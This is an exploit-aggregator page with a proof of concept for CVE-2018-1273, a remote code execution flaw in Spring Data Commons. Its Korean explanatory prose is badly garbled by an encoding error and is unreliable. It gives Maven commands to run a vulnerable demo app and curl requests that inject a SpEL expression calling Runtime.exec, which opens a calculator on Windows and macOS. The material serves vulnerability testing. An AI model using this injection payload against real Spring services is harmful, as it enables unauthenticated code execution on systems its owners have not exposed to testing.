## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-WEBR0CK-POC-CVE-2018-1273
# CVE-2018-1273
Spring Data Commons (λ²μ 1.13λΆν° 1.13.10, 2.0λΆν° 2.0.5 λ° μ§μλμ§ μλ μ΄μ λ²μ )μλ νΉμ μμμ λΆμ μ ν 무ν¨νλ‘ μΈν μμ± λ°μΈλ μ·¨μ½μ μ΄ μ‘΄μ¬ν©λλ€. μΈμ¦λμ§ μμ μ격 μ
μ± μ¬μ©μ(λλ 곡격μ)λ Spring Data REST κΈ°λ° HTTP 리μμ€ λλ Spring Dataμ νλ‘μ μ
κΈ°λ° μμ² λ³Έλ¬Έ λ°μΈλ©μ λμμΌλ‘ νΉμνκ² μ‘°μλ μμ² λ§€κ°λ³μλ₯Ό μ 곡νμ¬ μ격 μ½λ μ€ν 곡격μ μνν μ μμ΅λλ€.
μμΈν μ 보λ μ¬κΈ°μμ νμΈνμΈμ.
# μ€ν
μ΄ μ ν리μΌμ΄μ
μ μ·¨μ½ν λ²μ λλ μμ λ λ²μ μ Spring Data Commonsλ‘ ν
μ€νΈν μ μμ΅λλ€.
* μ·¨μ½ν λ²μ (κΈ°λ³Έκ°):
root@kitploit:~
mvn spring-boot:run
* μμ λ λ²μ :
root@kitploit:~
mvn spring-boot:run -Dfixed
# μ·¨μ½μ ν
μ€νΈ
λ€μ λͺ
λ Ήμ μ€ννμ¬ μ·¨μ½μ μ΄ μ
μ©λ μ μλμ§ νμΈνμΈμ.
* Windowsμμ:
root@kitploit:~
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"
* macOSμμ:
root@kitploit:~
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')]=test"